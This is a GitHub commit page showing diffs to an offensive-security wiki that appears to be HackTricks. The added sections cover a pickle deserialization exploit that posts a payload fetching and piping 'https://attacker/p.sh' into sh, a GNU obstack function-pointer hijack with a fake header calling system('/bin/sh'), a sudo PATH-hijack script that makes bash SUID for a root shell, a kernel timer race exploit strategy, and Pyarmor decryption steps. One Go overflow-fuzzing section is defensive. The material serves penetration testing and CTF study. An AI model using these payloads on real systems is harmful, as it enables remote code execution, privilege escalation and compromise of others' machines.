Skip to content

Commit 4e7115d

Browse files
authored
Merge branch 'master' into update_HTB__Previous_20260110_183001
2 parents 44dd0fe + 1510edd commit 4e7115d

File tree

28 files changed

+806
-66
lines changed

28 files changed

+806
-66
lines changed

src/AI/AI-Models-RCE.md

Lines changed: 21 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -189,6 +189,27 @@ model.load_state_dict(torch.load("malicious_state.pth", weights_only=False))
189189
# /tmp/pwned.txt is created even if you get an error
190190
```
191191

192+
### Deserialization Tencent FaceDetection-DSFD resnet (CVE-2025-13715 / ZDI-25-1183)
193+
194+
Tencent’s FaceDetection-DSFD exposes a `resnet` endpoint that deserializes user-controlled data. ZDI confirmed that a remote attacker can coerce a victim to load a malicious page/file, have it push a crafted serialized blob to that endpoint, and trigger deserialization as `root`, leading to full compromise.
195+
196+
The exploit flow mirrors typical pickle abuse:
197+
198+
```python
199+
import pickle, os, requests
200+
201+
class Payload:
202+
def __reduce__(self):
203+
return (os.system, ("curl https://attacker/p.sh | sh",))
204+
205+
blob = pickle.dumps(Payload())
206+
requests.post("https://target/api/resnet", data=blob,
207+
headers={"Content-Type": "application/octet-stream"})
208+
```
209+
210+
Any gadget reachable during deserialization (constructors, `__setstate__`, framework callbacks, etc.) can be weaponized the same way, regardless of whether the transport was HTTP, WebSocket, or a file dropped into a watched directory.
211+
212+
192213
## Models to Path Traversal
193214

194215
As commented in [**this blog post**](https://blog.huntr.com/pivoting-archive-slip-bugs-into-high-value-ai/ml-bounties), most models formats used by different AI frameworks are based on archives, usually `.zip`. Therefore, it might be possible to abuse these formats to perform path traversal attacks, allowing to read arbitrary files from the system where the model is loaded.

src/SUMMARY.md

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -408,6 +408,7 @@
408408
- [iOS UIPasteboard](mobile-pentesting/ios-pentesting/ios-uipasteboard.md)
409409
- [iOS WebViews](mobile-pentesting/ios-pentesting/ios-webviews.md)
410410
- [Itunesstored Bookassetd Sandbox Escape](mobile-pentesting/ios-pentesting/itunesstored-bookassetd-sandbox-escape.md)
411+
- [Zero Click Messaging Image Parser Chains](mobile-pentesting/ios-pentesting/zero-click-messaging-image-parser-chains.md)
411412
- [Cordova Apps](mobile-pentesting/cordova-apps.md)
412413
- [Xamarin Apps](mobile-pentesting/xamarin-apps.md)
413414

@@ -843,6 +844,7 @@
843844
- [Use After Free](binary-exploitation/libc-heap/use-after-free/README.md)
844845
- [First Fit](binary-exploitation/libc-heap/use-after-free/first-fit.md)
845846
- [Double Free](binary-exploitation/libc-heap/double-free.md)
847+
- [Gnu Obstack Function Pointer Hijack](binary-exploitation/libc-heap/gnu-obstack-function-pointer-hijack.md)
846848
- [Overwriting a freed chunk](binary-exploitation/libc-heap/overwriting-a-freed-chunk.md)
847849
- [Heap Overflow](binary-exploitation/libc-heap/heap-overflow.md)
848850
- [Unlink Attack](binary-exploitation/libc-heap/unlink-attack.md)

src/binary-exploitation/integer-overflow-and-underflow.md

Lines changed: 33 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -379,11 +379,42 @@ clang -O0 -Wall -Wextra -std=c11 -D_FORTIFY_SOURCE=0 \
379379
- [https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/)
380380
- Only 1B is used to store the size of the password so it's possible to overflow it and make it think it's length of 4 while it actually is 260 to bypass the length check protection and overwrite in the stack the next local variable and bypass both protections
381381
382+
## Go integer overflow detection with go-panikint
383+
384+
Go wraps integers silently. [go-panikint](https://github.com/trailofbits/go-panikint) is a forked Go toolchain that injects SSA overflow checks so wrapped arithmetic immediately calls `runtime.panicoverflow()` (panic + stack trace).
385+
386+
**Why use it**
387+
388+
- Makes overflow/truncation reachable in fuzzing/CI because arithmetic wraps now crash.
389+
- Useful around user-controlled pagination, offsets, quotas, size calculations, or access-control math (e.g., `end := offset + limit` on `uint64` wrapping small).
390+
391+
**Build & use**
392+
393+
```bash
394+
git clone https://github.com/trailofbits/go-panikint
395+
cd go-panikint/src && ./make.bash
396+
export GOROOT=/path/to/go-panikint
397+
./bin/go test -fuzz=FuzzOverflowHarness
398+
```
399+
400+
Run this forked `go` binary for tests/fuzzing to surface overflows as panics.
401+
402+
**Noise control**
403+
404+
- Truncation checks (casts to smaller ints) can be noisy.
405+
- Suppress intentional wrap-around via source-path filters or inline `// overflow_false_positive` / `// truncation_false_positive` comments.
406+
407+
**Real-world pattern**
408+
409+
go-panikint revealed a Cosmos SDK `uint64` pagination overflow: `end := pageRequest.Offset + pageRequest.Limit` wrapped past `MaxUint64`, returning empty results. Instrumentation turned the silent wrap into a panic that fuzzers could minimize.
410+
382411
## ARM64
383412

384413
This **doesn't change in ARM64** as you can see in [**this blog post**](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/).
385414

386-
{{#include ../banners/hacktricks-training.md}}
387-
415+
## References
388416

417+
- [Detect Go’s silent arithmetic bugs with go-panikint](https://blog.trailofbits.com/2025/12/31/detect-gos-silent-arithmetic-bugs-with-go-panikint/)
418+
- [go-panikint (compiler fork)](https://github.com/trailofbits/go-panikint)
389419

420+
{{#include ../banners/hacktricks-training.md}}

src/binary-exploitation/libc-heap/README.md

Lines changed: 4 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -535,6 +535,10 @@ Study allocator-specific primitives derived from real-world bugs:
535535
virtualbox-slirp-nat-packet-heap-exploitation.md
536536
{{#endref}}
537537
538+
{{#ref}}
539+
gnu-obstack-function-pointer-hijack.md
540+
{{#endref}}
541+
538542
## References
539543
540544
- [https://azeria-labs.com/heap-exploitation-part-1-understanding-the-glibc-heap-implementation/](https://azeria-labs.com/heap-exploitation-part-1-understanding-the-glibc-heap-implementation/)
Lines changed: 67 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,67 @@
1+
# GNU obstack function-pointer hijack
2+
3+
{{#include ../../banners/hacktricks-training.md}}
4+
5+
## Overview
6+
7+
GNU obstacks embed allocator state together with two indirect call targets:
8+
9+
- `chunkfun` (offset `+0x38`) with signature `void *(*chunkfun)(void *, size_t)`
10+
- `freefun` (offset `+0x40`) with signature `void (*freefun)(void *, void *)`
11+
- `extra_arg` and a `use_extra_arg` flag select whether `_obstack_newchunk` calls `chunkfun(new_size)` or `chunkfun(extra_arg, new_size)`
12+
13+
If an attacker can corrupt an application-owned `struct obstack *` or its fields, the next growth of the obstack (when `next_free == chunk_limit`) triggers an indirect call through `chunkfun`, enabling code execution primitives.
14+
15+
## Primitive: size_t desync → 0-byte allocation → pointer OOB write
16+
17+
A common bug pattern is using a **32-bit register** to compute `sizeof(ptr) * count` while storing the logical length in a 64-bit `size_t`.
18+
19+
- Example: `elements = obstack_alloc(obs, sizeof(void *) * size);` is compiled as `SHL EAX,0x3` for `size << 3`.
20+
- With `size = 0x20000000` and `sizeof(void *) = 8`, the multiplication wraps to `0x0` in 32-bit, so the pointer array is **0 bytes**, but the recorded `size` remains `0x20000000`.
21+
- Subsequent `elements[curr++] = ptr;` writes perform **8-byte OOB pointer stores** into adjacent heap objects, giving a controlled cross-object overwrite primitive.
22+
23+
## Leaking libc via `obstack.chunkfun`
24+
25+
1. Place two heap objects adjacent (e.g., two stacks built with separate obstacks).
26+
2. Use the pointer-array OOB write from object A to overwrite object B’s `elements` pointer so that a `pop`/read from B dereferences an address inside object A’s obstack.
27+
3. Read `chunkfun` (`malloc` by default) at offset `0x38` to disclose a libc function pointer, then compute `libc_base = leak - malloc_offset` and derive other symbols (e.g., `system`, `"/bin/sh"`).
28+
29+
## Hijacking `chunkfun` with a fake obstack
30+
31+
Overwrite a victim’s stored `struct obstack *` to point at attacker-controlled data that mimics the obstack header. Minimal fields needed:
32+
33+
- `next_free == chunk_limit` to force `_obstack_newchunk` on next push
34+
- `chunkfun = system_addr`
35+
- `extra_arg = binsh_addr`, `use_extra_arg = 1` to select the two-argument call form
36+
37+
Then trigger an allocation on the victim obstack to execute `system("/bin/sh")` through the indirect call.
38+
39+
Example fake obstack layout (glibc 2.42 offsets):
40+
41+
```python
42+
fake = b""
43+
fake += p64(0x1000) # chunk_size
44+
fake += p64(heap_leak) # chunk
45+
fake += p64(heap_leak) # object_base
46+
fake += p64(heap_leak) # next_free == chunk_limit
47+
fake += p64(heap_leak) # chunk_limit
48+
fake += p64(0xF) # alignment_mask
49+
fake += p64(0) # temp
50+
fake += p64(system_addr) # chunkfun
51+
fake += p64(0) # freefun
52+
fake += p64(binsh_addr) # extra_arg
53+
fake += p64(1) # use_extra_arg flag set
54+
```
55+
56+
## Attack recipe
57+
58+
1. **Trigger size wrap** to create a 0-byte pointer array with a huge logical length.
59+
2. **Groom adjacency** so an OOB pointer store reaches a neighbor object containing an obstack pointer.
60+
3. **Leak libc** by redirecting a victim pointer to the neighbor obstack’s `chunkfun` and reading the function pointer.
61+
4. **Forge obstack** data with controlled `chunkfun`/`extra_arg` and force `_obstack_newchunk` to land in the forged header, yielding a function-pointer call of the attacker’s choice.
62+
63+
## References
64+
65+
- [Flagvent 2025 FV25.08 obstack exploit (0xdf)](https://0xdf.gitlab.io/flagvent2025/hard)
66+
67+
{{#include ../../banners/hacktricks-training.md}}

src/binary-exploitation/linux-kernel-exploitation/posix-cpu-timers-toctou-cve-2025-38352.md

Lines changed: 20 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -80,6 +80,9 @@ Two expiry-processing modes
8080
- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y: expiry is deferred via task_work on the target task
8181
- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n: expiry handled directly in IRQ context
8282

83+
<details>
84+
<summary>POSIX CPU timer run paths</summary>
85+
8386
```c
8487
void run_posix_cpu_timers(void) {
8588
struct task_struct *tsk = current;
@@ -100,8 +103,13 @@ static inline void __run_posix_cpu_timers(struct task_struct *tsk) {
100103
#endif
101104
```
102105
106+
</details>
107+
103108
In the IRQ-context path, the firing list is processed outside sighand
104109
110+
<details>
111+
<summary>IRQ-context handling path</summary>
112+
105113
```c
106114
static void handle_posix_cpu_timers(struct task_struct *tsk) {
107115
struct k_itimer *timer, *next; unsigned long flags, start;
@@ -126,6 +134,8 @@ static void handle_posix_cpu_timers(struct task_struct *tsk) {
126134
}
127135
```
128136

137+
</details>
138+
129139
Root cause: TOCTOU between IRQ-time expiry and concurrent deletion under task exit
130140
Preconditions
131141
- CONFIG_POSIX_CPU_TIMERS_TASK_WORK is disabled (IRQ path in use)
@@ -205,6 +215,12 @@ Audit hotspots (for reviewers)
205215
Notes for exploitation research
206216
- The disclosed behavior is a reliable kernel crash primitive; turning it into privilege escalation typically needs an additional controllable overlap (object lifetime or write-what-where influence) beyond the scope of this summary. Treat any PoC as potentially destabilizing and run only in emulators/VMs.
207217

218+
### Chronomaly exploit strategy (priv-esc without fixed text offsets)
219+
- **Tested target & configs:** x86_64 v5.10.157 under QEMU (4 cores, 3 GB RAM). Critical options: `CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n`, `CONFIG_PREEMPT=y`, `CONFIG_SLAB_MERGE_DEFAULT=n`, `DEBUG_LIST=n`, `BUG_ON_DATA_CORRUPTION=n`, `LIST_HARDENED=n`.
220+
- **Race steering with CPU timers:** A racing thread (`race_func()`) burns CPU while CPU timers fire; `free_func()` polls `SIGUSR1` to confirm if the timer fired. Tune `CPU_USAGE_THRESHOLD` so signals arrive only sometimes (intermittent "Parent raced too late/too early" messages). If timers fire every attempt, lower the threshold; if they never fire before thread exit, raise it.
221+
- **Dual-process alignment into `send_sigqueue()`:** Parent/child processes try to hit a second race window inside `send_sigqueue()`. The parent sleeps `PARENT_SETTIME_DELAY_US` microseconds before arming timers; adjust downward when you mostly see "Parent raced too late" and upward when you mostly see "Parent raced too early". Seeing both indicates you are straddling the window; success is expected within ~1 minute once tuned.
222+
- **Cross-cache UAF replacement:** The exploit frees a `struct sigqueue` then grooms allocator state (`sigqueue_crosscache_preallocs()`) so both the dangling `uaf_sigqueue` and the replacement `realloc_sigqueue` land on a pipe buffer data page (cross-cache reallocation). Reliability assumes a quiet kernel with few prior `sigqueue` allocations; if per-CPU/per-node partial slab pages already exist (busy systems), the replacement will miss and the chain fails. The author intentionally left it unoptimized for noisy kernels.
223+
208224
### See also
209225

210226
{{#ref}}
@@ -215,5 +231,9 @@ ksmbd-streams_xattr-oob-write-cve-2025-37947.md
215231
- [Race Against Time in the Kernel’s Clockwork (StreyPaws)](https://streypaws.github.io/posts/Race-Against-Time-in-the-Kernel-Clockwork/)
216232
- [Android security bulletin – September 2025](https://source.android.com/docs/security/bulletin/2025-09-01)
217233
- [Android common kernel patch commit 157f357d50b5…](https://android.googlesource.com/kernel/common/+/157f357d50b5038e5eaad0b2b438f923ac40afeb%5E%21/#F0)
234+
- [Chronomaly exploit PoC (CVE-2025-38352)](https://github.com/farazsth98/chronomaly)
235+
- [CVE-2025-38352 analysis – Part 1](https://faith2dxy.xyz/2025-12-22/cve_2025_38352_analysis/)
236+
- [CVE-2025-38352 analysis – Part 2](https://faith2dxy.xyz/2025-12-24/cve_2025_38352_analysis_part_2/)
237+
- [CVE-2025-38352 analysis – Part 3](https://faith2dxy.xyz/2026-01-03/cve_2025_38352_analysis_part_3/)
218238

219239
{{#include ../../banners/hacktricks-training.md}}

src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md

Lines changed: 18 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -115,7 +115,10 @@ test@test:python python_exe_unpack.py -p unpacked/malware_3.exe/archive
115115
116116
If you weren't able to extract the python "original" code following the previous steps, then you can try to **extract** the **assembly** (but i**t isn't very descriptive**, so **try** to extract **again** the original code).In [here](https://bits.theorem.co/protecting-a-python-codebase/) I found a very simple code to **disassemble** the _.pyc_ binary (good luck understanding the code flow). If the _.pyc_ is from python2, use python2:
117117
118-
```bash
118+
<details>
119+
<summary>Disassemble a .pyc</summary>
120+
121+
```python
119122
>>> import dis
120123
>>> import marshal
121124
>>> import struct
@@ -158,6 +161,19 @@ True
158161
17 RETURN_VALUE
159162
```
160163
164+
</details>
165+
166+
## PyInstaller raw marshal & Pyarmor v9 static unpack workflow
167+
168+
- **Extract embedded marshal blobs**: `pyi-archive_viewer sample.exe` and export raw objects (e.g., a file named `vvs`). PyInstaller stores bare marshal streams that start with `0xe3` (TYPE_CODE with FLAG_REF) instead of full `.pyc` files. Prepend the correct **16-byte `.pyc` header** (magic for the embedded interpreter version + zeroed timestamp/size) so decompilers accept it. For Python 3.11.5 you can grab the magic via `imp.get_magic().hex()` and patch it with `dd`/`printf` before the marshal payload.
169+
- **Decompile with version-aware tools**: `pycdc -c -v 3.11.5 vvs.pyc > vvs.py` or PyLingual. If only partial code is needed, you can walk the AST (e.g., `ast.NodeVisitor`) to pull specific arguments/constants.
170+
- **Parse the Pyarmor v9 header** to recover crypto parameters: signature `PY<license>` at `0x00`, Python major/minor at `0x09/0x0a`, protection type `0x09` when **BCC** is enabled (`0x08` otherwise), ELF start/end offsets at `0x1c/0x38`, and the 12-byte AES-CTR nonce split across `0x24..0x27` and `0x2c..0x33`. The same pattern repeats after the embedded ELF.
171+
- **Account for Pyarmor-modified code objects**: `co_flags` has bit `0x20000000` set and an extra length-prefixed field. Disable CPython `deopt_code()` during parsing to avoid decryption failures.
172+
- **Identify encrypted code regions**: bytecode is wrapped by `LOAD_CONST __pyarmor_enter_*__` … `LOAD_CONST __pyarmor_exit_*__`. Decrypt the enclosed blob with AES-128-CTR using the runtime key (e.g., `273b1b1373cf25e054a61e2cb8a947b8`). Derive the per-region nonce by XORing the payload-specific 12-byte XOR key (from the Pyarmor runtime) with the 12 bytes in the `__pyarmor_exit_*__` marker. After decryption, you may also see `__pyarmor_assert_*__` (encrypted strings) and `__pyarmor_bcc_*__` (compiled dispatch targets).
173+
- **Decrypt Pyarmor “mixed” strings**: constants prefixed with `0x81` are AES-128-CTR encrypted (plaintext uses `0x01`). Use the same key and the runtime-derived string nonce (e.g., `692e767673e95c45a1e6876d`) to recover long string constants.
174+
- **Handle BCC mode**: Pyarmor `--enable-bcc` compiles many functions to a companion ELF and leaves Python stubs that call `__pyarmor_bcc_*__`. Map those constants to ELF symbols with tooling such as `bcc_info.py`, then decompile/analyze the ELF at the reported offsets (e.g., `__pyarmor_bcc_58580__` → `bcc_180` at offset `0x4e70`).
175+
176+
161177
## Python to Executable
162178
163179
To start, we’re going to show you how payloads can be compiled in py2exe and PyInstaller.
@@ -217,7 +233,7 @@ C:\Users\test\Desktop\test>pyinstaller --onefile hello.py
217233
## References
218234
219235
- [https://blog.f-secure.com/how-to-decompile-any-python-binary/](https://blog.f-secure.com/how-to-decompile-any-python-binary/)
220-
236+
- [VVS Discord Stealer Using Pyarmor for Obfuscation and Detection Evasion](https://unit42.paloaltonetworks.com/vvs-stealer/)
221237
222238
{{#include ../../../banners/hacktricks-training.md}}
223239

src/linux-hardening/privilege-escalation/README.md

Lines changed: 17 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1027,8 +1027,23 @@ cat /home/$USER/docker/previous/public/examples/flag
10271027

10281028
Terraform resolves the symlink and copies the real `/root/root.txt` into an attacker-readable destination. The same approach can be used to **write** into privileged paths by pre-creating destination symlinks (e.g., pointing the provider’s destination path inside `/etc/cron.d/`).
10291029

1030-
### Sudo execution bypassing paths
1030+
### Sudo env_keep+=PATH / insecure secure_path → PATH hijack
1031+
1032+
If `sudo -l` shows `env_keep+=PATH` or a `secure_path` containing attacker-writable entries (e.g., `/home/<user>/bin`), any relative command inside the sudo-allowed target can be shadowed.
1033+
1034+
- Requirements: a sudo rule (often `NOPASSWD`) running a script/binary that calls commands without absolute paths (`free`, `df`, `ps`, etc.) and a writable PATH entry that is searched first.
10311035

1036+
```bash
1037+
cat > ~/bin/free <<'EOF'
1038+
#!/bin/bash
1039+
chmod +s /bin/bash
1040+
EOF
1041+
chmod +x ~/bin/free
1042+
sudo /usr/local/bin/system_status.sh # calls free → runs our trojan
1043+
bash -p # root shell via SUID bit
1044+
```
1045+
1046+
### Sudo execution bypassing paths
10321047
**Jump** to read other files or use **symlinks**. For example in sudoers file: _hacker10 ALL= (root) /bin/less /var/log/\*_
10331048

10341049
```bash
@@ -1842,6 +1857,7 @@ vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md
18421857
18431858
- [0xdf – HTB Planning (Crontab UI privesc, zip -P creds reuse)](https://0xdf.gitlab.io/2025/09/13/htb-planning.html)
18441859
- [0xdf – HTB Era: forged .text_sig payload for cron-executed monitor](https://0xdf.gitlab.io/2025/11/29/htb-era.html)
1860+
- [0xdf – Holiday Hack Challenge 2025: Neighborhood Watch Bypass (sudo env_keep PATH hijack)](https://0xdf.gitlab.io/holidayhack2025/act1/neighborhood-watch)
18451861
- [alseambusher/crontab-ui](https://github.com/alseambusher/crontab-ui)
18461862
- [https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/](https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/)
18471863
- [https://payatu.com/guide-linux-privilege-escalation/](https://payatu.com/guide-linux-privilege-escalation/)

0 commit comments

Comments
 (0)